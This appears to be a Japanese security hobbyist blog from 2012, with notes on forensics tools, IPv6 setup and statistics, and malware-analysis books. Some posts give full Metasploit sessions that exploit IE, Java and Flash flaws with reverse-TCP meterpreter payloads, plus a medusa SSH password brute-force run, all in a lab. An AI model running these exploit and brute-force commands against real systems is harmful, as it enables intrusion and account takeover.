2012年12月27日木曜日

log2timeline-sift の使い方

SANS が提供する SIFT に入っている log2timeline-sift は HDD のイメージからタイムラインを作成するツール。

使い方は下記にある。
http://computer-forensics.sans.org/blog/2011/12/07/digital-forensic-sifting-super-timeline-analysis-and-creation

コマンドラインの基本的な使い方は
log2timeline-sift -z <time zone> -p <partition #> -i <image>

だが、これだとうまくいかなかった。
環境としては Win7 のパーティションイメージだったので、 -win7 -p 0 にして、なぜかマウントポイントを最後につけたらうまくいった。原因はまったくもって不明、なくてもよかったのかも。

log2timeline-sift -win7 -z Japan -p 0 -i <image_file> <mount point>

コマンドがはいると、「マウントする?」と聞かれるので y を押すと、そのまま解析に入る。
またディスクイメージでパーティションが複数ある場合は街頭のパーティションを選択する。
その場合、-p 0 オプションは不要、またはパーティション番号を入力。

SIFT で実行した場合は下記のフォルダに <image_file>_bodyfile.txt で作成される。

/cases/timeline-output-folder/

作成されたファイルはエクセルなどの表計算ソフトで開くことができる。
かなり大きなサイズになっているので、探したい期間がある程度絞れているなら、l2t_process -b で期間指定し csv ファイルにすると扱いやすい。

l2t_process -b <image_file>_bodyfile.txt 12-01-2012..12-31-2012 > <image_file>_bodyfile.csv




2012年12月20日木曜日

NetworkMiner の使い方

NetworkMiner は NETRESEC が提供する Windows 向けのネットワークフォレンジックツール。
パケットキャプチャ機能もあるが、統計データやキャプチャしたデータから様々なデータを取り出すのに向いている。

下記から実行ファイルがダウンロードできる。インストールは不要で実行ファイルのみ。
http://www.netresec.com/?page=NetworkMiner

ただし、NET Framework 2.0 が必要。あと winpcap も必要らしい。
詳しくは下記サイト。
http://sourceforge.net/apps/mediawiki/networkminer/index.php?title=NetworkMiner

実行ファイルを起動したら、File から pcap ファイルを読み込むことが可能。
読み込むと左のウィンドウに表示されるので選択して下にある Reload Case Files で読み込んであとは勝手に解析してくれる。

よく使いそうなのは Files と Credentials のタブ。
Files はキャプチャファイルの中で送受信があったファイルを復元してくれている。同じようなものに Images タブもある。
Credentials タブにはユーザ名やパスワードなど重要な情報を抜き出してくれる。

解析した結果は実行ファイルがあるフォルダの AssembledFiles の下に作られる。
html ファイルやメールの添付ファイルもここに保存されるため、必要な場合はここから取り出すことが可能。

2012年12月19日水曜日

medusa の使い方

パスワードクラックツールとして有名な medusa の使い方。
ほかにもリモートからのクラックツールとしては hydra とか ncrack が有名だが 機能が充実してそうな medusa を使う。

以下の@ITのサイトを参考にした。
http://www.atmarkit.co.jp/fsecurity/rensai/dknight06/dknight01.html

BackTrack には標準で付属しているためインストールなどは省略。
medusa 以外に必要になるのがユーザ名のリストやパスワードリスト、辞書など。

たとえば以下のサイトは2008年のワーストパスワードトップ500がある。
ここから抜き出しても使用できる。
http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time

以下、オプションで使いそうな部分だけ日本語に。

# medusa 
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
  -h [TEXT]    : 検査対象のホスト名またはIPアドレスを指定
  -H [FILE]    : 検査対象のホスト名またはIPアドレスが記述されたファイルを指定
  -u [TEXT]    : 検査するユーザ名を指定
  -U [FILE]    : 検査するユーザ名が記述されたファイルを指定
  -p [TEXT]    : 検査するパスワードを指定
  -P [FILE]    : 検査するパスワードが記述されたファイルを指定
  -C [FILE]    : File containing combo entries. See README for more information.
  -O [FILE]    : File to append log information to
  -e [n/s/ns]  : n を指定するとパスワードなし、s を指定すると Password = Username で検査
  -M [TEXT]    : 検査するモジュール、要は ssh とか ftp とかを指定
  -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with a
                 different parameter each time and they will all be sent to the module (i.e.
                 -m Param1 -m Param2, etc.)
  -d           : Dump all known modules
  -n [NUM]     : デフォルトではないポートを使用するときに指定、ssh なのに tcp 1000 とか使うとき
  -s           : Enable SSL
  -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)
  -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)
  -R [NUM]     : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
  -t [NUM]     : Total number of logins to be tested concurrently
  -T [NUM]     : Total number of hosts to be tested concurrently
  -L           : Parallelize logins using one username per thread. The default is to process 
                 the entire username before proceeding.
  -f           : Stop scanning host after first valid username/password found.
  -F           : Stop audit after first valid username/password found on any host.
  -b           : Suppress startup banner
  -q           : Display module's usage information
  -v [NUM]     : 表示レベルを 0 - 6 で指定
  -w [NUM]     : Error debug level [0 - 10 (more)]
  -V           : Display version
  -Z [TEXT]    : Resume scan based on map of previous scan

先ほどのワースト500のパスワードリストを使って、192.168.0.100 の ssh サーバに設定された root/pasword に対しての実行結果は以下のとおり。

# medusa -h 192.168.0.100 -u root -P 500-worst-passwords.txt -M ssh
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1 
GENERAL: Total Users: 1
GENERAL: Total Passwords: 501

The default build of Libssh2 is to use OpenSSL for crypto. Several Linux
distributions (e.g. Debian, Ubuntu) build it to use Libgcrypt. Unfortunately,
the implementation within Libssh2 of libgcrypt appears to be broken and is
not thread safe. If you run multiple concurrent Medusa SSH connections, you
are likely to experience segmentation faults. Please help Libssh2 fix this
issue or encourage your distro to use the default Libssh2 build options.

ACCOUNT CHECK: [ssh] Host: 192.168.0.100 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 501 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.100 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (2 of 501 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.0.100 User: root Password: password [SUCCESS]
GENERAL: Medusa has finished.

これが500ワード全部実行するとログが多くなるので、-v で 4 を指定すると成功のみ表示される。
3以下は結果が出力されない。

# medusa -h 192.168.0.100 -u root -P 500-worst-passwords.txt -M ssh -v 4
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 


The default build of Libssh2 is to use OpenSSL for crypto. Several Linux
distributions (e.g. Debian, Ubuntu) build it to use Libgcrypt. Unfortunately,
the implementation within Libssh2 of libgcrypt appears to be broken and is
not thread safe. If you run multiple concurrent Medusa SSH connections, you
are likely to experience segmentation faults. Please help Libssh2 fix this
issue or encourage your distro to use the default Libssh2 build options.

ACCOUNT FOUND: [ssh] Host: 192.168.0.100 User: root Password: password [SUCCESS]

2012年12月12日水曜日

Windows 端末の IPv6 の統計確認

Windows 端末で IPv6 の統計情報(送信や破棄のパケット、エラー等)を見る方法のメモ 。
基本は netsh interface ipv6 show ipstats コマンドで確認する。

C:\>netsh interface ipv6 show ipstats
MIB-II IP 統計情報
------------------------------------------------------
転送:                               無効
既定の TTL:                         128
受信:                               121
着信ヘッダー エラー:                0
着信アドレス エラー:                59
転送データグラム:                   0
不明な着信プロトコル:               0
廃棄された着信パケット:             2
配信された着信パケット:             3194
出力要求:                           3418
ルーティング廃棄数:                 0
廃棄された発信パケット:             0
経路制御不能な発信パケット:         8
再構築のタイムアウト:               60
必要な再構築:                       0
成功した再構築:                     0
失敗した再構築:                     0
成功したフラグメント:               0
失敗したフラグメント:               0
作成されたフラグメント:             0


エラーカウントや失敗したフラグメントなどが上がっていればどこかで設定ミスの可能性がある。
また同様にしてtcpの統計情報を見ることもできる。

C:\>netsh interface ipv6 show tcpstats

MIB-II TCP 統計情報
------------------------------------------------------
タイムアウト アルゴリズム:           Van Jacobson アルゴリズム
最短タイムアウト:                    10
最長タイムアウト:                    4294967295
最大接続数:                          動的
アクティブ オープン数:               30
パッシブ オープン数:                 24
試行の失敗回数:                      6
確立されたリセット:                  14
現在の確立:                          2
着信セグメント:                      638
発信セグメント:                      626
再転送セグメント:                    12
着信エラー:                          0
発信リセット:                        19


ここでタイムアウトアルゴリズムにVan Jacobson アルゴリズムとあるが、これは輻輳防止用アルゴリズム。
このアルゴリズムについては IPv4 も同じものを使用している。
また同様にして udp の統計情報も確認可能

C:\>netsh interface ipv6 show udpstats

MIB-II UDP 統計情報
------------------------------------------------------
着信データグラム:                       1621
無効な着信ポート:                       0
無効な着信データグラム:                 0
発信データグラム:                       3203

また各コマンドは rr=5 とすると5秒間隔で更新される。
ping などで状況確認するときに便利かも。

2012年11月12日月曜日

調査用のマルウェアを収集するためのサイト

調査のためにマルウェアを収集しなくてはならない。 だけど、ハニーポットを設置するのはめんどくさいし、目的のマルウェアが手に入るとも限らない。 そんなときに研究用でマルウェアサンプルを手に入れられるサイトを利用する。 アナライジングマルウェアの著書の中では下記のサイトが登録されている。2012年11月時点で実際に使うにはGoogleのアカウントが必要になる。本人確認のためらしい。 http://www.offensivecomputing.net/ そのほかにもいくつかあるが、このサイトにまとまっていたので参考。 http://zeltser.com/combating-malicious-software/malware-sample-sources.html 以下サイト名を抜粋 Contagio Malware Dump: Free; password required KernelMode.info: Free; registration required MalwareBlacklist: Free; registration required MalwareBytes Forum: Newest Malware Threats: Free MalwareBytes Forum: Newest Rogue Threats: Free MD:Pro: Commercial NovCon Twitter EXE Parsing: Free; provides links to live sites; may include benign files NovCon Twitter EXE Parsing: Free; provides links to potentially-malicious executables shared on Twitter Offensive Computing: Free SecuBox Labs: Free VirusShare: Free ダウンロードおよび実行については自己責任で。 感染しても他人に迷惑をかけないようなクローズな環境を準備して実行してください。

2012年11月10日土曜日

DHCPv6 サーバの構築

IPv6 のアドレスを配布する方法には RA と DHCPv6 がある。
現状 RA についてはゲートウェイ、ネットワークプレフィックスしか配布できないため、アドレスを固定したい場合や DNS のアドレスを配布したい場合には DHCPv6 サーバを準備する必要がある。

DHCPv6 として使えそうなものはいくつかあるが、今回は ISC DHCP を使用。
基本的な設定方法は下記に記載がある。

http://tldp.org/HOWTO/Linux+IPv6-HOWTO/hints-daemons-isc-dhcp.html

以下、抜粋して日本語コメント。

# 該当するするプレフィックス
subnet6 2001:db8:0:1::/64 {
        # クライアントに配布するアドレスレンジ
        range6 2001:db8:0:1::129 2001:db8:0:1::254;
        # 配布するDNSサーバのアドレス
        option dhcp6.name-servers fec0:0:0:1::1;      
        # ルータに権限委譲して配布させる場合に使用
        prefix6 2001:db8:0:100:: 2001:db8:0:f00:: /56;
        # ここで端末のDUIDと固定アドレスをマッチさせる
        host specialclient {
      host-identifier option dhcp6.client-id 00:01:00:01:4a:1f:ba:e3:60:b9:1f:01:23:45;
         fixed-address6 2001:db8:0:1::127;
     } 
}  
起動スクリプトは IPv4 の DHCP も DHCPv6 も同じ dhcpd を使用する。
そのため、DHCPv6 の起動時には -6 オプションをつけて起動

# /usr/sbin/dhcpd -6 -f -cf /etc/dhcp/dhcpd.conf eth1

コマンドの最後にインターフェースを指定する。これを省略する場合は/etc/sysconfig/dhcpd6DHCPDARGS=""と言う箇所があるので、そこでインターフェースを設定する方法もある。
正常に起動すると下記のようなメッセージが出力される。

Internet Systems Consortium DHCP Server 4.1.0 
Copyright 2004-2008 Internet Systems Consortium. 
All rights reserved. 
For info, please visit http://www.isc.org/sw/dhcp/ 
Not searching LDAP since ldap-server, ldap-port and ldap-base-dn were not specified in the config file 
Wrote 0 leases to leases file. 
Bound to *:547 
Listening on Socket/5/eth1/2001:db8:0:1::/64 
Sending on   Socket/5/eth1/2001:db8:0:1::/64
 
正常に起動してもアドレスが取得できない場合は ip6tables や selinux を確認。

IPv6 の利用状況

APNIC の資料から上位20位まで抜粋。
http://labs.apnic.net/dists/v6dcc.html

こちらが8月に更新された情報。
日本の利用状況は2%程度。

Index ISO-3166 Code   Internet Users V6 Use ratio V6 Users (Est) Population Country
1RO 8664915 9.63% 834431 22104376Romania
2EU 0 4.62% 0 0European Union
3FR 50020615 4.44% 2220915 64793544France
4LU 466181 3.15% 14684 510045Luxembourg
5JP 100915928 2.08% 2099051 126144911Japan
6US 248018615 1.59% 3943495 316754298United States of America
7CH 6449538 0.95% 61270 7659784Switzerland
8HR 2652779 0.82% 21752 4481047Croatia
9SK 4344687 0.79% 34323 5485717Slovakia
10NO 4577875 0.68% 31129 4709748Norway
11SI 1417911 0.51% 7231 1997059Slovenia
12CN 516198120 0.45% 2322891 1344265938China
13FI 4664062 0.43% 20055 5264179Finland
14CZ 7215768 0.42% 30306 10177388Czech Republic
15RU 61120908 0.41% 250595 137970449Russian Federation
16NL 15147820 0.41% 62106 16924939Netherlands
17DE 67959550 0.40% 271838 82175998Germany
18AU 19811041 0.39% 77263 22061293Australia
19MV 113896 0.32% 364 394107Maldives
20SE 8459026 0.27% 22839 9105518Sweden




次は11月に更新された情報。
日本が2.4%とじわりと上昇。

Index ISO-3166 Code   Internet Users V6 Use ratio V6 Users (Est) Population Country
1RO   8662247 9.78% 847167 22097569Romania
2FR   50070881 4.06% 2032877 64858655France
3LU   467192 2.63% 12287 511152Luxembourg
4JP   100869236 2.40% 2420861 126086546Japan
5US   248470498 1.75% 4348233 317331416United States of America
6CZ   7214242 1.35% 97392 10175236Czech Republic
7CH   6452246 0.81% 52263 7663001Switzerland
8SI   1417529 0.81% 11481 1996521Slovenia
9NO   4580751 0.71% 32523 4712707Norway
10CN   516678107 0.68% 3513411 1345515906China
11SK   4345768 0.68% 29551 5487081Slovakia
12DE   67951719 0.57% 387324 82166529Germany
13NL   15159055 0.52% 78827 16937492Netherlands
14TW   16197310 0.52% 84226 23139015Taiwan
15LT   2095531 0.48% 10058 3521902Lithuania
16PT   5473847 0.46% 25179 10796544Portugal
17AU   19854394 0.40% 79417 22109571Australia
18SE   8461613 0.37% 31307 9108303Sweden
19FI   4664776 0.36% 16793 5264985Finland
20ZA   6818114 0.32% 21817 49051185South Africa

2012年11月9日金曜日

iptables と ip6tables

IPv6 でサーバを構築するときの注意として ip6tables がある。
iptables は IPv4 の通信についての FW 機能を提供し、ip6tables は IPv6 のFW 機能を提供する。
これはインストール時から有効になっており、サーバ構築時には変更が必要になってくる。
[root@localhost ~]# chkconfig --list | grep table
ip6tables       0:off   1:off   2:on    3:on    4:on    5:on    6:off
iptables        0:off   1:off   2:on    3:on    4:on    5:on    6:off
  コマンドの書式などは基本的に一緒。
[root@localhost ~]# iptables --help
iptables v1.4.7

Usage: iptables -[AD] chain rule-specification [options]
       iptables -I chain [rulenum] rule-specification [options]
       iptables -R chain rulenum rule-specification [options]
       iptables -D chain rulenum [options]
       iptables -[LS] [chain [rulenum]] [options]
       iptables -[FZ] [chain] [options]
       iptables -[NX] chain
       iptables -E old-chain-name new-chain-name
       iptables -P chain target [options]
       iptables -h (print this help information)

 [root@localhost ~]# ip6tables --help
ip6tables v1.4.7

Usage: ip6tables -[AD] chain rule-specification [options]
       ip6tables -I chain [rulenum] rule-specification [options]
       ip6tables -R chain rulenum rule-specification [options]
       ip6tables -D chain rulenum [options]
       ip6tables -[LS] [chain [rulenum]] [options]
       ip6tables -[FZ] [chain] [options]
       ip6tables -[NX] chain
       ip6tables -E old-chain-name new-chain-name
       ip6tables -P chain target [options]
       ip6tables -h (print this help information)
一緒で分かれていると言うことは、1台のサーバについて2つのFW機能を管理しないといけなくなる。
そして、IPv6 の場合は複数のアドレスを持つ場合があるので、それらの管理を考える必要もあるので注意が必要。

取り急ぎサーバを構築して機能検証するなら ip6tables を止めるのもあり。

2012年10月31日水曜日

参考にしている書籍

参考にしている書籍を一覧にしてみる。

実践 Metasploit

Metasploit の使用方法について日本語で書かれた書籍。
Metasploit を使用するときに手元においておくと大変便利。ただし、単純な使い方程度であればグーグル先生に聞けば分かるので、ペネトレーションテストで自動化したいとか、そういったニーズが無ければ活用する場面は少ないかも。

アナライジング・マルウェア

マルウェアの解析方法について日本語で書かれた書籍。
この書籍を参考にマルウェア解析に挑んだとしても、2章のアンパックのあたりで撃沈すると思う。その後の3章ではいきなり動的解析の妨害の話になるので、その後も読み薦めるのはかなりハードルが高い。ある程度マルウェア解析のベースがある人が読んで初めて役立ちそうな書籍。

Practical Malware Analysis

マルウェアの解析方法についての洋書。
洋書のため読むのに苦労するが、段階的にマルウェア解析を解説している。初動としての静的解析にはじまる動的解析の環境構築方法から動的解析の解説、それぞれをより詳しく見る方法が実際のツールなども紹介されながら書かれている。マルウェア解析の参考書としては非常に有用。ただし非常に重い、かつ、かさばる。

2012年9月20日木曜日

CVE-2012-4969 0-day exploit for IE 7, 8 & 9 on Windows XP, Vista, and 7

9月18日に報告されたIEの脆弱性
http://isc.sans.edu/diary/IE+Zero+Day+is+For+Real+/14107
http://jvn.jp/cert/JVNVU480095/index.html

9月21日には修正パッチがリリースされるとのこと
http://www.ipa.go.jp/security/ciadr/vul/20120920-windows.html

Metasploit のモジュールとしても提供されていたので確認してみる

https://community.rapid7.com/community/metasploit/blog/2012/09/17/lets-start-the-week-with-a-new-internet-explorer-0-day-in-metasploit

http://www.metasploit.com/modules/exploit/windows/browser/ie_execcommand_uaf

以下、XP+IE8 での検証結果

msf >
msf > use exploit/windows/browser/ie_execcommand_uaf
msf  exploit(ie_execcommand_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ie_execcommand_uaf) > show options

Module options (exploit/windows/browser/ie_execcommand_uaf):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on th
e local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly gene
rated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted:
SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(ie_execcommand_uaf) > srvhost 192.168.1.84
[-] Unknown command: srvhost.
msf  exploit(ie_execcommand_uaf) > set srvhost 192.168.1.84
srvhost => 192.168.1.84
msf  exploit(ie_execcommand_uaf) > set lhost 192.168.1.84
lhost => 192.168.1.84
msf  exploit(ie_execcommand_uaf) > set srvport 80
srvport => 80
msf  exploit(ie_execcommand_uaf) > set lport 8080
lport => 8080
msf  exploit(ie_execcommand_uaf) > set uripath test
uripath => test
msf  exploit(ie_execcommand_uaf) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.84:8080
[*] Using URL: http://192.168.1.84:80/test
[*] Server started.
msf  exploit(ie_execcommand_uaf) > [*] 192.168.1.51    ie_execcommand_uaf - Mozilla/4.0 (compatible
; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath
.1)
[*] 192.168.1.51    ie_execcommand_uaf - Redirecting to Pjeam.html
[*] 192.168.1.51    ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CL
R 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
[*] 192.168.1.51    ie_execcommand_uaf - Loading Pjeam.html
[*] 192.168.1.51    ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CL
R 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
[*] 192.168.1.51    ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CL
R 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
[*] 192.168.1.51    ie_execcommand_uaf - Loading VKxmjc.html
[*] 192.168.1.51    ie_execcommand_uaf - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CL
R 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
[*] Sending stage (752128 bytes) to 192.168.1.51
[*] Meterpreter session 1 opened (192.168.1.84:8080 -> 192.168.1.51:2725) at 2012-09-20 22:30:40 +
0900
[*] Session ID 1 (192.168.1.84:8080 -> 192.168.1.51:2725) processing InitialAutoRunScript 'migrate
 -f'
[*] Current server process: iexplore.exe (11744)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 11780
[+] Successfully migrated to process
msf  exploit(ie_execcommand_uaf) >
msf  exploit(ie_execcommand_uaf) >
とりあえずは成功
他にもいくつか試してみたが、うまく行かない場合もあった
成功率はJAVAのほうがよさそうな印象

2012年8月28日火曜日

8月26日に報告されたJavaの0-day(CVE-2012-4681)について

*CVE を修正してます

8月26日に Java の 0-day に関する Exploit code が公開される
http://pastie.org/4594319


FireEye からはこの Java の 0-day が実際に使用されているとの報告

8月28日になってようやく JVN に登録される。
http://jvn.jp/cert/JVNTA12-240A/index.html

Metasploit のモジュールが8月27日に公開されていたので早速試してみる。
https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day
http://www.metasploit.com/modules/exploit/multi/browser/java_jre17_exec

が、検証環境だとうまく動作しない。
検索してみると、JRE のバージョンによって Exploit が成功しない場合もあるとのこと。
http://scrammed.blogspot.jp/2012/08/analysing-cve-2012-xxxx-latest-java-0day.html

色々試した結果、検証環境のブラウザが IE6 だったのが原因・・・。
IE8 にすると成功するが、詳細までは調べていない。

msf > use exploit/multi/browser/java_jre17_exec
msf  exploit(java_jre17_exec) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_jre17_exec) > set srvhost 172.16.0.80
srvhost => 172.16.0.80
msf  exploit(java_jre17_exec) > set srvport 80
srvport => 80
msf  exploit(java_jre17_exec) > set uripath jre
uripath => jre
msf  exploit(java_jre17_exec) > set lhost 172.16.0.80
lhost => 172.16.0.80
msf  exploit(java_jre17_exec) > set lport 8080
lport => 8080
msf  exploit(java_jre17_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.0.80:8080
[*] Using URL: http://172.16.0.80:80/jre
[*] Server started.
msf  exploit(java_jre17_exec) > [*] 172.16.0.100    java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 172.16.0.100    java_jre17_exec - Sending Applet.jar
[*] 172.16.0.100    java_jre17_exec - Sending Applet.jar
[*] Sending stage (30216 bytes) to 172.16.0.100
[*] Meterpreter session 1 opened (172.16.0.80:8080 -> 172.16.0.100:1118) at 2012-08-28 20:32:52 +0900
msf  exploit(java_jre17_exec) >
8月28日時点ではまだ JRE の修正版は出ていない。


2012年8月22日水曜日

2012年8月20日月曜日

Adobe Flash Player Exploit CVE-2012-1535

Adobe Flash Player の脆弱性 CVE-2012-1535 を使う exploit が出ていたので試してみる。
脆弱性の詳細は下記のリンク。
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1535

Metasploit の情報は下記のリンク。
http://www.metasploit.com/modules/exploit/windows/browser/adobe_flash_otf_font

windows xp には flashplayer11_2r202_228_winax_32bit.exe をインストールして、Metasoloit で下記のように実行したところ、まずは失敗。
msf > use exploit/windows/browser/adobe_flash_otf_font
msf  exploit(adobe_flash_otf_font) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.0.80:4444
[*] SWF Loaded: 31941 bytes
[*] Using URL: http://0.0.0.0:8080/X8CVKazCkgdN5X
msf  exploit(adobe_flash_otf_font) > [*]  Local IP: http://172.16.0.80:8080/X8CVKazCkgdN5X
[*] Server started.

msf  exploit(adobe_flash_otf_font) >
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /X8CVKazCkgdN5X
[*] 172.16.0.100    adobe_flash_otf_font - Sending HTML
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /X8CVKazCkgdN5X5euz.swf
[*] 172.16.0.100    adobe_flash_otf_font - Sending SWF
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /pay.txt
[*] 172.16.0.100    adobe_flash_otf_font - Sending Payload

msf  exploit(adobe_flash_otf_font) >

Metasploit のブログに「Windows XP なら ROP chain のオプションを JRE にしてもいいぜ!!」的なことが書いてあったので、試してみると成功した。

https://community.rapid7.com/community/metasploit/blog/2012/08/17/adobe-flash-player-exploit-cve-2012-1535-now-available-for-metasploit
msf > use exploit/windows/browser/adobe_flash_otf_font
msf  exploit(adobe_flash_otf_font) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(adobe_flash_otf_font) > set srvhost 172.16.0.80
srvhost => 172.16.0.80
msf  exploit(adobe_flash_otf_font) > set srvport 80
srvport => 80
msf  exploit(adobe_flash_otf_font) > set lhost 172.16.0.80
lhost => 172.16.0.80
msf  exploit(adobe_flash_otf_font) > set lport 8080
lport => 8080
msf  exploit(adobe_flash_otf_font) > set uripath test
uripath => test
msf  exploit(adobe_flash_otf_font) > set ROP JRE
ROP => JRE
msf  exploit(adobe_flash_otf_font) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.0.80:8080
[*] SWF Loaded: 31941 bytes
[*] Using URL: http://172.16.0.80:80/test
[*] Server started.
msf  exploit(adobe_flash_otf_font) > [*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /test
[*] 172.16.0.100    adobe_flash_otf_font - Sending HTML
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /test6QWwOQw.swf
[*] 172.16.0.100    adobe_flash_otf_font - Sending SWF
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /pay.txt
[*] 172.16.0.100    adobe_flash_otf_font - Sending Payload
[*] Sending stage (752128 bytes) to 172.16.0.100
[*] Meterpreter session 1 opened (172.16.0.80:8080 -> 172.16.0.100:1052) at 2012-08-20 22:34:05 +0900
[*] Session ID 1 (172.16.0.80:8080 -> 172.16.0.100:1052) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (184)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 128
[+] Successfully migrated to process

msf  exploit(adobe_flash_otf_font) >
msf  exploit(adobe_flash_otf_font) > show sessions

Active sessions
===============

  Id  Type                   Information                                 Connection
  --  ----                   -----------                                 ----------
  1   meterpreter x86/win32  HOGEHOGE\hogehoge @ HOGEHOGE-71815D  172.16.0.80:8080 -> 172.16.0.100:1052 (172.16.0.100)

msf  exploit(adobe_flash_otf_font) >
メモリの状態とかまでは確認してないないので、詳細は分からないがとりあえず何も考えずに Windows で試すなら JRE を使用したほうが成功する。

2012年8月14日火曜日

Exploit kits についてのレポート


Black Hat 2012 のセッション資料にて最近の Exploit kits の紹介がされている。

https://media.blackhat.com/bh-us-12/Briefings/Jones/BH_US_12_Jones_State_Web_Exploits_Slides.pdf

この中で紹介されている Exploit Kits は以下のとおり
  • Black Hole
    • JavaScript 関係が非常に充実しているらしい
    • あと、最近世間を騒がせている
  •  Phoenix Exploit Kit
    • 非常に多くの Exploit を使える
    • バージョンによって使える機能が違う
  • Yang Pack
    • 今年はじめぐらいから出始めた
    • 中国製
  • Sweet Orange Exploit Kit
    • 今年はじめぐらいから出始めた
    • 結構いい値段
  • Nuclear Pack v2
    • anti-honeyclient(ハニーポット?)機能搭載

2012年8月13日月曜日

Exploit DB での検索トップ10

https://community.rapid7.com/community/metasploit/blog/2012/08/10/exploit-trends-july

特に期間は書いてないけど、7月のトップ10かな?

  1. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067)
  2. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020)
  3. Microsoft Server Service NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040)
  4. Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026)
  5. MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption (CVE-2012-1875)
  6. Adobe PDF Embedded EXE Social Engineering (CVE-2010-1240)
  7. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504)
  8. Java Signed Applet Social Engineering Code Execution
  9. PHP CGI Argument Injection
  10. Joomla 1.5.12 TinyBrowser File Upload Code Execution         

注目は8位のJavaのソーシャルエンジニアリングのコードだそうで。
これは試してみるかな。

IPv6 アドレスの再取得方法

Windows 7 に割り振られた ipv6 のアドレスを再取得する方法。

  1. ケーブル抜き差し
  2. コマンドで ipconfig /renew6 
コマンドでインターフェースの off/on でも同じ結果になるはず。2.のコマンドは /release と言うのもある。

2012年8月6日月曜日

End of Days for MS-CHAPv2

End of Days for MS-CHAPv2 と言う見出しで話題になっているのでとりあえず読んでみる。

Moxie Marlinspike and David Hulton gave a talk at Defcon 20 on a presentation on cracking MS-CHAPv2 with 100% success rate. This protocol is still very much in use with PPTP VPNs, and WPA2 Enterprise environments for authentication.
